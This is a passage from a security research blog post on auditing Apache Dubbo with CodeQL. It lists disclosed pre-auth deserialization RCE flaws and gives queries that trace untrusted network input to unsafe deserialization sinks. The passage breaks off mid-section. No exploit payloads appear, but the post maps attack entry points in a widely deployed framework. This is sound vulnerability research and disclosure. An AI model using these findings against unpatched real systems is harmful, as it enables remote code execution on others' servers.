{"id":81281,"date":"2021-09-21T06:51:54","date_gmt":"2021-09-21T13:51:54","guid":{"rendered":"https:\/\/github.blog\/?p=81281"},"modified":"2024-11-21T07:23:14","modified_gmt":"2024-11-21T15:23:14","slug":"apache-dubbo-all-roads-lead-to-rce","status":"publish","type":"post","link":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/","title":{"rendered":"Apache Dubbo: All roads lead to RCE"},"content":{"rendered":"<!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/REC-html40\/loose.dtd\">\n<html><body><p>During an audit of Apache Dubbo v2.7.8 source code, I found <a href=\"https:\/\/securitylab.github.com\/advisories\/GHSL-2021-034_043-apache-dubbo\/\">multiple vulnerabilities<\/a> enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers. I&rsquo;ve been planning a blog post for awhile (and was encouraged by all the <a href=\"https:\/\/twitter.com\/pwntester\/status\/1408385652224315396\">Twitter feedback<\/a>), but it was delayed when I found four new RCEs that I reported to the Apache Dubbo project &ndash; I wanted to make sure they had ample time to remediate them.<\/p>\n<p><a href=\"https:\/\/securitylab.github.com\/tools\/codeql\/\">CodeQL<\/a> is GitHub&rsquo;s semantic code analysis engine that lets you query code as though it were data, allowing you to find variants of a given vulnerability pattern. In this blog post, I&rsquo;ll summarize the process I used to find these vulnerabilities and how I used CodeQL, not as an automated scanner to find occurrences of a specific vulnerability pattern, but rather as an audit oracle which helped me answer questions about the codebase as I was exploring it. This is not a blog post about performing variant analysis or writing a query to detect the issues I previously found through manual review, but rather about leveraging CodeQL as a codebase exploration tool to accelerate my audit. As you&rsquo;ll see throughout this post, the issues I found could have been found by CodeQL automatically if third-party libraries such as Netty or Apache curator were modelled by CodeQL libraries which was not the case at the time of the audit.<\/p>\n<p>I assume that you have a basic level of familiarity with CodeQL. We won&rsquo;t get into the details of most of the queries but they&rsquo;re straightforward enough to be understood by anyone with a basic knowledge of CodeQL.<\/p>\n<h2 id=\"dubbo-101-what-is-it-and-who-uses-it\" id=\"dubbo-101-what-is-it-and-who-uses-it\" ><a class=\"heading-link\" href=\"#dubbo-101-what-is-it-and-who-uses-it\">Dubbo 101: what is it and who uses it<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>Apache Dubbo is a high-performance, Java-based, open-source RPC framework with over 35K stars on GitHub. It&rsquo;s one of the most popular Apache Foundation projects.<\/p>\n<p>The main components of the <a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/preface\/architecture\/\">Dubbo architecture<\/a> are:<\/p>\n<ul>\n<li><em>Provider<\/em>. The provider exposes remote services.<\/li>\n<li><em>Consumer<\/em>. The consumer calls the remote services.<\/li>\n<li><em>Registry<\/em>. The registry is responsible for service discovery and configuration.<\/li>\n<li><em>Monitor<\/em>. The monitor counts time consumption and the number of service invocations .<\/li>\n<li><em>Container<\/em>. The container manages the service&rsquo;s lifetime.<\/li>\n<\/ul>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image11-2.png?w=1024&#038;resize=1024%2C796\" alt=\"Dubbo architecture diagram\" width=\"1024\" height=\"796\" class=\"aligncenter size-large wp-image-81282 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image11-2.png?w=1060 1060w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image11-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image11-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image11-2.png?w=1024 1024w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<ul>\n<li><code>Registry<\/code> is responsible for the registration and search of service addresses.<\/li>\n<li><code>Provider<\/code> registers services to <code>Registry<\/code> and reports time-consumption statistics to <code>Monitor<\/code><\/li>\n<li><code>Consumer<\/code> gets a list of service provider routes from <code>Registry<\/code> and calls the <code>Provider<\/code> directly. It reports the time-consumption statistics to <code>Monitor<\/code>.<\/li>\n<li>The connections between <code>Registry<\/code>, <code>Provider<\/code>, and <code>Consumer<\/code> are long-lived connections.<\/li>\n<li><code>Registry<\/code> is aware of the existence of <code>Provider<\/code> through the long-lived connection; when <code>Provider<\/code> goes down, <code>Registry<\/code> will push the event to <code>Consumer<\/code>.<\/li>\n<li><code>Registry<\/code> and <code>Monitor<\/code> are optional. <code>Consumer<\/code> can connect to the <code>Provider<\/code> directly.<\/li>\n<li><code>Registry<\/code> can be set up with a simple Dubbo registry or using <a href=\"https:\/\/zookeeper.apache.org\">ZooKeeper<\/a> or <a href=\"https:\/\/github.com\/alibaba\/nacos\">Nacos<\/a>.<\/li>\n<\/ul>\n<p>The providers can expose their services using <a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/references\/protocol\/\">a variety of protocols<\/a>, but by default they use the Dubbo binary<a href=\"https:\/\/dubbo.apache.org\/en\/blog\/2018\/10\/05\/introduction-to-the-dubbo-protocol\/\"> protocol<\/a>, which uses a single <em>long-lived connection<\/em> and NIO asynchronous communication on top of the <a href=\"https:\/\/netty.io\/\">Netty<\/a> framework (the transport layer can also be configured to use <a href=\"https:\/\/javaee.github.io\/grizzly\/\">Grizzly<\/a> or <a href=\"https:\/\/mina.apache.org\/\">Mina<\/a> instead).<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image26.png?w=620&#038;resize=620%2C227\" alt=\"Dubbo protocol\" width=\"620\" height=\"227\" class=\"aligncenter size-large wp-image-81283 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image26.png?w=620 620w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image26.png?w=300 300w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/p>\n<p>As you can see in the diagram above, the binary Dubbo protocol uses five bits to specify the serialization format to be used and then includes the RPC method name, serialized arguments, and attachments as part of the request body. More about this later on.<\/p>\n<h2 id=\"past-vulnerabilities\" id=\"past-vulnerabilities\" ><a class=\"heading-link\" href=\"#past-vulnerabilities\">Past vulnerabilities<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>Apache Dubbo has a fairly recent history of deserialization vulnerabilities:<\/p>\n<ul>\n<li><a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-11995\/\">CVE-2020-11995<\/a>: A Hessian2 deserialization vulnerability could lead to malicious code execution. This vulnerability was addressed by establishing a mechanism for users to set deserialization allow\/block lists.<\/li>\n<li><a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-1948\/\">CVE-2020-1948<\/a>: An attacker can send RPC requests with an unrecognized service name or method name along with some malicious parameter payloads. When the malicious parameter is deserialized, it will execute some malicious code.<\/li>\n<li><a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2019-17564\/\">CVE-2019-17564<\/a>: Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled.<\/li>\n<\/ul>\n<h2 id=\"new-vulnerabilities\" id=\"new-vulnerabilities\" ><a class=\"heading-link\" href=\"#new-vulnerabilities\">New vulnerabilities<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>During the process of auditing Dubbo and using CodeQL as an audit oracle, I identified <a href=\"https:\/\/securitylab.github.com\/advisories\/GHSL-2021-034_043-apache-dubbo\/\">multiple and varied new deserialization vulnerabilities<\/a> that could lead to pre-auth remote code execution (RCE):<\/p>\n<div data-target=\"content-table-wrap.container\" class=\"content-table-wrap\"><content-table-wrap><table>\n<thead>\n<tr>\n<th>GHSL<\/th>\n<th>CVE<\/th>\n<th>Title<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>GHSL-2021-035<\/td>\n<td>CVE-2021-25641<\/td>\n<td>Bypass Hessian2 allowlist via alternative protocols<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-036<\/td>\n<td>No CVE assigned<\/td>\n<td>Pre-auth RCE via multiple Hessian deserializations in the RPC invocation decoder (GHSL-2021-036)<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-037<\/td>\n<td>CVE-2021-30179<\/td>\n<td>Pre-auth RCE via Java deserialization in the Generic filter<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-038<\/td>\n<td>CVE-2021-30179<\/td>\n<td>Pre-auth RCE via arbitrary bean manipulation in the Generic filter<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-039<\/td>\n<td>CVE-2021-32824<\/td>\n<td>Pre-auth RCE via arbitrary bean manipulation in the Telnet handler<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-040<\/td>\n<td>CVE-2021-30180<\/td>\n<td>RCE on customers via Tag route poisoning (unsafe YAML unmarshaling)<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-041<\/td>\n<td>CVE-2021-30180<\/td>\n<td>RCE on customers via Condition route poisoning (unsafe YAML unmarshaling)<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-042<\/td>\n<td>CVE-2021-30181<\/td>\n<td>RCE on customers via Script route poisoning (Nashorn script injection)<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-043<\/td>\n<td>CVE-2021-30180<\/td>\n<td>RCE on providers via Configuration poisoning (unsafe YAML unmarshaling)<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-094<\/td>\n<td>CVE-2021-36162<\/td>\n<td>RCE on customers via MeshApp route poisoning (unsafe YAML unmarshaling)<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-095<\/td>\n<td>CVE-2021-36163<\/td>\n<td>Pre-auth unsafe Hessian deserialization when Hessian protocol is used<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-096<\/td>\n<td>No CVE assigned<\/td>\n<td>Pre-auth unsafe Java deserialization when RMI protocol is used<\/td>\n<\/tr>\n<tr>\n<td>GHSL-2021-097<\/td>\n<td>CVE-2021-37579<\/td>\n<td>Bypass <code>checkSerialization<\/code> security control<\/td>\n<\/tr>\n<\/tbody>\n<\/table><\/content-table-wrap><\/div>\n<p>CVE-2021-25641 was independently discovered by Checkmarx researcher Dor Tumarkin who already shared a <a href=\"https:\/\/www.checkmarx.com\/blog\/technical-blog\/the-0xdabb-of-doom-cve-2021-25641\/\">nice write up<\/a> about this issue so I won&rsquo;t be covering it in detail.<\/p>\n<h2 id=\"first-things-first-identifying-the-attack-surface\" id=\"first-things-first-identifying-the-attack-surface\" ><a class=\"heading-link\" href=\"#first-things-first-identifying-the-attack-surface\">First things first: identifying the attack surface<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>When facing a new codebase, especially one as large as Dubbo (107.7 kLOC), it&rsquo;s very convenient to focus your audit efforts on the most critical security features, including authentication and authorization and also every piece of code an attacker can interact with. This is commonly referred to as the attack surface of the application. I like to have a clear idea of the attack surface of the application, which I think of as all the doors to the application that I&rsquo;m able to knock on with my inputs. When the application is relatively small, this can be accomplished by manually reviewing the source code. But Apache Dubbo is too large to effectively enumerate the available attack surface by hand, and reviewing the entirety of the source code would be a time-consuming task. So I&rsquo;ll use CodeQL instead.<\/p>\n<p>CodeQL defines a data flow source type called <code>RemoteFlowSource<\/code>, which represents the data that an attacker would be able to tamper with. Assuming that any user-controlled input is potentially attacker-controlled. I can ask my CodeQL oracle for all the classes that contain either an expression or parameter which can introduce such user-controlled data:<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.dataflow.FlowSources\n\nfrom RemoteFlowSource source\nwhere\n  not source.getLocation().getFile().getRelativePath().matches(\"%\/src\/test\/%\")\nselect\n  source,\n  source.getEnclosingCallable().getDeclaringType(),\n  source.getSourceType()\n<\/code><\/pre>\n<p>From the architecture diagram, it seems like the most interesting attack surface will be the provider transport layer (Netty by default). But I would also expect additional attack surfaces for the other supported protocols (Hessian, RMI, HTTP, REST, GRPC, REDIS, etc,)<\/p>\n<p>The following query<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.dataflow.FlowSources\n\nfrom RemoteFlowSource source\nwhere\n  not source.getLocation().getFile().getRelativePath().matches(\"%\/src\/test\/%\")\nselect \n  source,\n  source.getEnclosingCallable().getDeclaringType(),\n  source.getSourceType()\n<\/code><\/pre>\n<p>only returns ten results though:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image4-2.png?w=1024&#038;resize=1024%2C677\" alt=\"attack surface\" width=\"1024\" height=\"677\" class=\"aligncenter size-large wp-image-81284 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image4-2.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image4-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image4-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image4-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image4-2.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>Looking at the results, it seems that CodeQL identified input sources in:<\/p>\n<ul>\n<li>Reverse DNS lookups<\/li>\n<li>HTTP client responses<\/li>\n<li>HTTP Servlet requests used on several protocols such as Hessian, HTTP, and XmlRpc<\/li>\n<\/ul>\n<p>However, I can&rsquo;t find any remote flow sources representing the Dubbo protocol entry points. If I were to run an automatic scan on the Dubbo codebase, the results would be incomplete since I&rsquo;m lacking models for the Dubbo protocol network layer. If you read through the <a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/references\/protocol\/dubbo\/\">Dubbo Protocol documentation<\/a>, you can see that Dubbo can use multiple NIO frameworks to handle the communication between providers and consumers including Netty, Grizzly, and Mina:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image1-3.png?w=700&#038;resize=700%2C140\" alt=\"transport layer\" width=\"700\" height=\"140\" class=\"aligncenter size-large wp-image-81285 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image1-3.png?w=700 700w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image1-3.png?w=300 300w\" sizes=\"auto, (max-width: 700px) 100vw, 700px\" \/><\/p>\n<p>These frameworks will basically decode the request&rsquo;s body, create an RPC invocation object, and dispatch it to the right service handler. I need to model how these transporters introduce the network data into the application. Since the default transporter is Netty, I&rsquo;ll model it and leave the others as an exercise for readers.<\/p>\n<h3 id=\"netty-model\" id=\"netty-model\" ><a class=\"heading-link\" href=\"#netty-model\">Netty Model<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h3>\n<p>Netty is a NIO client server framework that enables quick and easy development of network applications. In a nutshell, Netty defines pipelines where the user can register inbound and outbound handlers. I&rsquo;m interested in the inbound ones and, in particular, I need to consider the second argument to <a href=\"https:\/\/netty.io\/4.1\/api\/io\/netty\/channel\/ChannelInboundHandler.html#channelRead-io.netty.channel.ChannelHandlerContext-java.lang.Object-\">io.netty.channel.ChannelInboundHandler.channelRead(ChannelHandlerContext ctx, Object msg)<\/a> as a remote flow source. In addition, reading through the documentation, I can see that there is a special type of inbound handler that decodes the bytes received from the socket, so I need to model the second argument to <a href=\"https:\/\/netty.io\/4.1\/api\/io\/netty\/handler\/codec\/ByteToMessageDecoder.html#decode-io.netty.channel.ChannelHandlerContext-io.netty.buffer.ByteBuf-java.util.List-\">io.netty.handler.codec.ByteToMessageDecoder.decode(ChannelHandlerContext ctx, ByteBuf in, List<object> out)<\/object><\/a> as a remote flow source too.<\/p>\n<p>Modeling them with CodeQL is straightforward. I just need to extend the <code>RemoteFlowSource<\/code> and indicate what expression, or in this case parameter, I want to treat as a source of untrusted data. For example, for the <code>ChannelInboundHandler<\/code> read methods:<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.dataflow.FlowSources\n\n\/** The ChannelInboundHandler class *\/\nclass ChannelInboundHandler extends Class {\n  ChannelInboundHandler() {\n    this.getASourceSupertype*().hasQualifiedName(\"io.netty.channel\", \"ChannelInboundHandler\")\n  }\n}\n\n\/** The ChannelInboundHandlerl.channelRead method *\/\nclass ChannelReadMethod extends Method {\n  ChannelReadMethod() {\n    this.getName() = [\"channelRead\", \"channelRead0\", \"messageReceived\"] and\n    this.getDeclaringType() instanceof ChannelInboundHandler\n  }\n}\n\n\/** The ChannelInboundHandlerl.channelRead(1) source *\/\nclass ChannelReadSource extends RemoteFlowSource {\n  ChannelReadSource() {\n    exists(ChannelReadMethod m |\n      this.asParameter() = m.getParameter(1)\n    )\n  }\n  override string getSourceType() { result = \"Netty Handler Source\" }\n}\n<\/code><\/pre>\n<p>Re-running this attack surface query with the new sources<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.dataflow.FlowSources\n\n\/** The ChannelInboundHandler class *\/\nclass ChannelInboundHandler extends Class {\n  ChannelInboundHandler() {\n    this.getASourceSupertype*().hasQualifiedName(\"io.netty.channel\", \"ChannelInboundHandler\")\n  }\n}\n\n\/** The ChannelInboundHandlerl.channelRead method *\/\nclass ChannelReadMethod extends Method {\n  ChannelReadMethod() {\n      this.getName() = [\"channelRead\", \"channelRead0\", \"messageReceived\"] and\n      this.getDeclaringType() instanceof ChannelInboundHandler\n  }\n}\n\n\/** The ChannelInboundHandlerl.channelRead(1) source *\/\nclass ChannelReadSource extends RemoteFlowSource {\n    ChannelReadSource() {\n      exists(ChannelReadMethod m |\n        this.asParameter() = m.getParameter(1)\n      )\n    }\n    override string getSourceType() { result = \"Netty Handler Source\" }\n}\n\n\/** The ByteToMessageDecoder class *\/\nclass ByteToMessageDecoder extends Class {\n    ByteToMessageDecoder() {\n      this.getASourceSupertype*().hasQualifiedName(\"io.netty.handler.codec\", \"ByteToMessageDecoder\")\n    }\n}\n\n\/** The ByteToMessageDecoder.decode method *\/\nclass DecodeMethod extends Method {\n  DecodeMethod() {\n      this.getName() = [\"decode\", \"decodeLast\"] and\n      this.getDeclaringType() instanceof ByteToMessageDecoder\n  }\n}\n\n\/** The ByteToMessageDecoder.decode(1) source *\/\nclass DecodeSource extends RemoteFlowSource {\n  DecodeSource() {\n    exists(DecodeMethod m |\n      this.asParameter() = m.getParameter(1)\n    )\n  }\n  override string getSourceType() { result = \"Netty Decoder Source\" }\n}\n\nfrom RemoteFlowSource source\nwhere\n  (\n    source instanceof ChannelReadSource or\n    source instanceof DecodeSource\n  ) and\n  not source.getLocation().getFile().getRelativePath().matches(\"%\/src\/test\/%\")\nselect source, source.getEnclosingCallable().getDeclaringType(), source.getSourceType()\n<\/code><\/pre>\n<p>returns more complete and promising results:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image18-1.png?w=1024&#038;resize=1024%2C444\" alt=\"Netty sources\" width=\"1024\" height=\"444\" class=\"aligncenter size-large wp-image-81286 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image18-1.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image18-1.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image18-1.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image18-1.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image18-1.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>These results provide a starting point to look for vulnerabilities. And, as it turns out, both <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-11995\/\">CVE-2020-11995<\/a> and <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-1948\/\">CVE-2020-1948<\/a> are deserialization vulnerabilities in Dubbo&rsquo;s decoding of the incoming packet into an RPC Invocation object.<\/p>\n<h2 id=\"pre-auth-rce-via-multiple-hessian-deserializations-in-the-rpc-invocation-decoder-ghsl-2021-036\" id=\"pre-auth-rce-via-multiple-hessian-deserializations-in-the-rpc-invocation-decoder-ghsl-2021-036\" ><a class=\"heading-link\" href=\"#pre-auth-rce-via-multiple-hessian-deserializations-in-the-rpc-invocation-decoder-ghsl-2021-036\">Pre-auth RCE via multiple Hessian deserializations in the RPC invocation decoder (GHSL-2021-036)<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>The previous query gave us a few methods to analyze and track where the user-controlled data can go. Observing how data flowed from the Netty adapters, I found multiple Hessian deserialization operations. Some of them were described in <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-11995\/\">CVE-2020-11995<\/a> and <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-1948\/\">CVE-2020-1948<\/a>, but others were different variants. I decided to run a variant analysis using CodeQL and, as I&rsquo;ll explain below, it returned many new variants that I reported to the Dubbo maintainers as GHSL-2021-036. The way Apache Dubbo addressed <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-11995\/\">CVE-2020-11995<\/a> and <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-1948\/\">CVE-2020-1948<\/a> was by enabling an opt-in Hessian type filter which, if enabled, could also protect against these new variants. Even though there was an existing opt-in mitigation, we decided to report these new paths so the Dubbo team was aware of them. These new paths proved useful later on in this research. If you use Dubbo, make sure to enable this filter and apply an allow list to only allow the deserialization of known and expected good types.<\/p>\n<p>These findings are a great example of how important it is to understand the attack surface and entry points to an application. By reading the high level description of the Dubbo protocol or by looking into the past vulnerabilities found, you may get the wrong idea that an attacker can only control RPC invocation objects or maybe a generic request. But the reality is that an attacker can make packets be interpreted in different ways and by different parts of the application. For example, if the received bytes do not start with the <code>0xADBB<\/code> magic number, the request will be handled by <code>TelnetCodec.decode()<\/code> (<code>super.decode()<\/code>), which opens up a new attack surface for the attacker:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image33.png?w=1024&#038;resize=1024%2C471\" alt=\"decode method\" width=\"1024\" height=\"471\" class=\"aligncenter size-large wp-image-81287 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image33.png?w=1684 1684w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image33.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image33.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image33.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image33.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>Similarly, requests starting with the Dubbo magic number are handled by <code>ExchangeCodec.decodeBody()<\/code>:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image2-2.png?w=1024&#038;resize=1024%2C723\" alt=\"decodeBody method\" width=\"1024\" height=\"723\" class=\"aligncenter size-large wp-image-81288 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image2-2.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image2-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image2-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image2-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image2-2.png?w=1536 1536w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image2-2.png?w=515 515w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>Since an attacker is in complete control of the request bytes, there is nothing stopping them from sending not just requests but also responses, heartbeats, events, and so on, thus widely increasing their attack surface in terms of code that is parsing their controlled content.<\/p>\n<p>The vulnerabilities found so far (<a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-11995\/\">CVE-2020-11995<\/a> and <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2020-1948\/\">CVE-2020-1948<\/a>) were located in the <code>DecodeableRpcInvocation.decode()<\/code> method:<\/p>\n<h4 id=\"1-request-decodeablerpcinvocation-decode\" id=\"1-request-decodeablerpcinvocation-decode\" ><a class=\"heading-link\" href=\"#1-request-decodeablerpcinvocation-decode\">1. Request -&gt;<code>DecodeableRpcInvocation.decode()<\/code><span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<p>However, reading the code, it seems there may be places other than the decoding of an RPC invocation where unsafe deserialization could happen. I&rsquo;ll be using <a href=\"https:\/\/github.com\/apache\/dubbo\/blob\/3.0\/dubbo-compatible\/src\/main\/java\/com\/alibaba\/dubbo\/common\/serialize\/ObjectInput.java\"><code>ObjectInput<\/code><\/a> abstraction as my sink since at this point I don&rsquo;t care about which serializer is being used. With that, I can ask the CodeQL oracle for unsafe deserialization dataflows using the following parameters:<\/p>\n<ul>\n<li><code>DubboCodec.decodeBody(1)<\/code> is our source of untrusted data.<\/li>\n<li><code>Serialization.deserialize()<\/code> is a taint step.<\/li>\n<li><code>ObjectInput.read*()<\/code> will be our sinks<\/li>\n<\/ul>\n<pre><code class=\"language-ql\">\/**\n * @kind path-problem\n *\/\n\nimport java\nimport semmle.code.java.dataflow.TaintTracking\nimport DataFlow::PathGraph\n\nclass InsecureConfig extends TaintTracking::Configuration {\n  InsecureConfig() { this = \"InsecureConfig\" }\n\n  override predicate isSource(DataFlow::Node source) {\n    exists(Method m |\n      m.getName() = \"decodeBody\" and\n      m.getDeclaringType().hasQualifiedName(\"org.apache.dubbo.rpc.protocol.dubbo\", \"DubboCodec\") and\n      m.getParameter(1) = source.asParameter()\n    )\n  }\n\n  override predicate isSink(DataFlow::Node sink) {\n    exists(Call call |\n      call.getCallee().getName().matches(\"read%\") and\n      call.getCallee()\n        .getDeclaringType()\n        .getASourceSupertype*()\n        .hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"ObjectInput\") and\n      call.getQualifier() = sink.asExpr()\n    )\n  }\n\n  override predicate isAdditionalTaintStep(DataFlow::Node n1, DataFlow::Node n2) {\n    exists(MethodAccess ma |\n      ma.getMethod().getName() = \"deserialize\" and\n      ma.getMethod().getDeclaringType().hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"Serialization\") and\n      ma.getArgument(1) = n1.asExpr() and\n      ma = n2.asExpr()\n    )\n  }\n}\n\nfrom InsecureConfig conf, DataFlow::PathNode source, DataFlow::PathNode sink\nwhere conf.hasFlowPath(source, sink)\nselect sink, source, sink, \"unsafe deserialization\"\n<\/code><\/pre>\n<p>This query<\/p>\n<pre><code class=\"language-ql\">\/**\n * @kind path-problem\n *\/\nimport java\nimport semmle.code.java.dataflow.TaintTracking\nimport DataFlow::PathGraph\n\nclass InsecureConfig extends TaintTracking::Configuration {\n  InsecureConfig() { this = \"InsecureConfig\" }\n\n  override predicate isSource(DataFlow::Node source) {\n    exists(Method m |\n      m.getName() = \"decodeBody\" and\n      m.getDeclaringType().hasQualifiedName(\"org.apache.dubbo.rpc.protocol.dubbo\", \"DubboCodec\") and\n      m.getParameter(1) = source.asParameter()\n     )\n  }\n\n  override predicate isSink(DataFlow::Node sink) {\n    exists(Call call |\n      call.getCallee().getName().matches(\"read%\") and\n      call.getCallee()\n          .getDeclaringType()\n          .getASourceSupertype*()\n          .hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"ObjectInput\") and\n      call.getQualifier() = sink.asExpr()\n    )\n  }\n\n  override predicate isAdditionalTaintStep(DataFlow::Node n1, DataFlow::Node n2) {\n    exists(MethodAccess ma |\n      ma.getMethod().getName() = \"deserialize\" and\n      ma.getMethod().getDeclaringType().hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"Serialization\") and\n      ma.getArgument(1) = n1.asExpr() and\n      ma = n2.asExpr()\n    )\n  }\n}\n\nfrom InsecureConfig conf, DataFlow::PathNode source, DataFlow::PathNode sink\nwhere conf.hasFlowPath(source, sink)\nselect sink, source, sink, \"unsafe deserialization\"\n<\/code><\/pre>\n<p>returns eight results that are true positive variants of the reported ones:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image19.png?w=968&#038;resize=968%2C1024\" alt=\"variants\" width=\"968\" height=\"1024\" class=\"aligncenter size-large wp-image-81289 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image19.png?w=1890 1890w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image19.png?w=284 284w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image19.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image19.png?w=968 968w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image19.png?w=1452 1452w\" sizes=\"auto, (max-width: 968px) 100vw, 968px\" \/><\/p>\n<p>These results are alternative ways to trigger unsafe deserialization operations and should be accounted for. Otherwise, they may become ways to circumvent future mitigations implemented to protect against unsafe deserialization attacks. They can be summed up as:<\/p>\n<h4 